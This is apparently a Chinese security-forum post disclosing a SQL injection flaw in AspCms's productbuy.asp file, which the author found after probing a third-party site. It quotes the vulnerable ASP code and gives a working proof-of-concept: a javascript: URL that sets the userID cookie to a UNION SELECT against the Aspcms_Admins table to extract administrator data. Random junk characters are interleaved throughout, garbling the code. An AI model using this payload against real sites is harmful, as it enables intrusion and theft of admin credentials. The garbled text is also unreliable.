好久没上土司了,上来一看发现在删号名单内.....
# V; |' x! X+ ^; |0 c也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
( J% |* r$ E5 c! ?( s废话不多说,看代码:- a3 c# D: D, ^( Q
9 c+ a K, v- Z8 i6 s! p<%
( W+ ~+ R4 J9 y9 ~& N ^
9 I7 _# c- g" r5 `$ I/ h; ^ {: ^5 Eif action = "buy" then
, R& i" @6 L; @2 s/ N) W( _ w( T1 G
7 p! ]3 o* [( R& b& N8 b& U' N addOrder()- y; i- F$ X+ |, y) Q: s7 I" S
) C, b0 Q; w* C- v
else* O; `+ z# r. h
! n, f& e H& i( G
echoContent()6 I3 x$ H) @: @, I( x9 b
! K) E' ?- l+ J: C5 a
end if
# k# U6 f1 ^- O0 P# b7 [4 k# D) h! B" s
: e+ t1 a2 m& z d, F
% _/ y) \' _0 z3 p
……略过6 r. v; b3 w9 P9 P
) l+ g- S9 o* z" [
" X# J. f0 h l8 O6 S% @2 I
! Q3 l0 H5 P( J5 WSub echoContent()
9 `5 o% F! F1 a! W: y3 ]
$ M4 r5 q8 s* B- J- h dim id
. s3 T1 l+ B! u4 |3 r9 d2 @' z: j% t" O: N% e
id=getForm("id","get")4 R6 C, g% B. v2 ?8 V* b
( q! R4 E7 C& @6 F* A
5 l4 V' O1 h M5 S- y
2 _1 l- t" X v j$ l if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 4 f- C6 A/ G! e5 }
/ h: x& n' \9 ^
d* f, E7 P* E, N; _5 u& R
! i) W1 ^) {3 J+ l) o& ?7 V. Z
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
: F5 D0 R$ g; r3 C* ?- F3 }" t( f$ |5 q; y* \+ a
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
0 w8 Z& [+ S& ~% B# `5 t* q9 M# f( |: G) ^ ?2 Y: J
Dim templatePath,tempStr
6 P4 \+ J/ [2 q* ^) l- {6 Q
. `3 P2 F- z6 a9 x templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"3 j, d4 f: e9 ~$ [8 X( f y
) A, @$ m9 q7 {' Z5 ?4 F( M8 c& S8 k9 H
: B6 c: [. Q" s0 |
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")$ i6 ~+ e3 k5 _& u4 u
) d8 z. @4 n& v
selectproduct=rsObj(0) {( M; g$ P5 @$ S
" N) d2 `/ J; h# r6 I* j0 E
& i8 S/ b) N- V! q2 }9 \ c
8 m) ]2 \3 J* ]6 } Dim linkman,gender,phone,mobile,email,qq,address,postcode+ i/ v9 o0 A! O; N" L+ x
! ]. {. D `4 B& [8 f# |2 E if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
$ B7 v9 R/ A1 }) O
/ j5 [* y7 p; H; @* L7 Q if rCookie("loginstatus")=1 then # c& e ]; @, X/ F
( I. X, M1 L; |! }) V8 z* ^
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")( b. G# e( W' q- v) u" R
) z+ G/ Y1 f5 a2 B! L8 M linkman=rsObj("truename")! B9 {9 {5 ]% R( D. x* Q3 ]" `
4 u ]/ [: J9 j
gender=rsObj("gender")
3 u4 w% z4 S F) [, J0 `' L4 f4 X; M
phone=rsObj("phone")
9 c: d; V0 `" n% i0 X: I
- L% m9 p& `: l' q! O9 y- L2 S mobile=rsObj("mobile")
. b! ~# L, A; T0 _8 e
5 x/ n: I+ V# u* C email=rsObj("email"): i, [' u4 G1 ^. P ?' Z8 a/ b' {
$ |+ R4 M$ P% m( I9 o* l' j( s: ` qq=rsObj("qq")6 P- e# ~' w1 B7 Z0 R$ y5 |+ y
% U2 T& c% R( C3 W" z( b6 M J: N
address=rsObj("address"), }# V$ h: P: r8 a0 R( g4 }6 s
) D) l2 h7 P; {' o- p I
postcode=rsObj("postcode")
& w1 U Z4 t7 V# y* E
$ f7 [0 H% l: J. y6 M6 x* E else 1 F# r1 t$ P3 v
" h# _$ _% W5 x8 q/ c; o
gender=1: ?3 j' H& t* J2 _' x
* f+ b! f# E2 c: F! T. i* n3 ]
end if
$ N L! g9 D/ Z# a% ^) d5 B5 I) k/ b8 Q. i% {
rsObj.close()* c4 g; u/ O; V9 U. ?
' }- ?4 p! s, W' Z5 F" @
9 m# j1 R2 i& _; J, l5 E
6 a6 z5 v9 H5 w) }7 N" ^2 Q with templateObj
' H" C4 a5 P/ V1 Y$ \) J. M0 ?4 t. r* s7 m! B9 H$ S
.content=loadFile(templatePath)
( `7 B! n) ^7 U: W" _( [' Q; `3 ^& K. V5 W4 z6 u( ~/ A
.parseHtml()
q% O) `- G& N" i
3 P% `. f) }9 u0 B .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
R% J0 V9 z9 S9 U/ H" j0 m) ?6 C3 W0 w5 O. c3 c& s, P
.content=replaceStr(.content,"[aspcms:linkman]",linkman) 4 q' ^5 R9 d& m0 M6 }
8 w7 l$ r! @3 \+ [4 L, B .content=replaceStr(.content,"[aspcms:gender]",gender)
. d4 @) g3 M! P; `8 O) p2 U) S, n1 {9 f/ I' p0 a* m. Z7 a9 @. P$ L
.content=replaceStr(.content,"[aspcms:phone]",phone)
" U" l" ]) I$ z- o( S4 Q9 U/ w* L7 h N4 u9 w* V' R
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
, r: T% ?) ?- b) l
- e, ^1 f* K% b# J; o8 N .content=replaceStr(.content,"[aspcms:email]",email)
# \5 ]2 ?0 t7 O0 K0 J& c' ]$ b" j2 Q3 U/ A5 |0 f2 X' {5 G7 m" z4 d) r
.content=replaceStr(.content,"[aspcms:qq]",qq) 7 q$ V/ K8 R# r d/ x. J" Y
& {- b6 O6 Y9 R \1 e3 g' R1 ?$ q3 `
.content=replaceStr(.content,"[aspcms:address]",address)
5 U' L0 Q2 Q6 ~
# Y6 h) s$ v9 K+ h) C9 O2 H* t: i .content=replaceStr(.content,"[aspcms:postcode]",postcode) ; z2 V! t2 n( F
8 |- T1 Y0 b, K- s7 p8 x+ K
.parseCommon()
% {# G' K4 z- M k7 b. B* B0 {; {+ k; D9 S$ @- F5 H! T( E
echo .content
5 M4 @2 c! i% A1 F" n
: K; V( N8 ]; l6 h# \; ` end with1 z. p7 n3 b: a& |! \& `0 k' S
& {6 X( ]9 a B8 G set templateobj =nothing : terminateAllObjects
, y8 |. a- A( g. d( s5 Q) c
8 g3 |1 o" ?- {8 LEnd Sub5 U3 ^3 c: H* M( m, f' K4 U! \
漏洞很明显,没啥好说的
( x j! X) t* k, @, Jpoc:3 U9 z& v4 Q$ Z9 ?4 r* Q& d& d
4 W8 n1 h* g4 zjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子, I) g8 a0 V+ f: d$ X, ~, X
$ N2 q0 r" m. T. [. I7 P+ v
|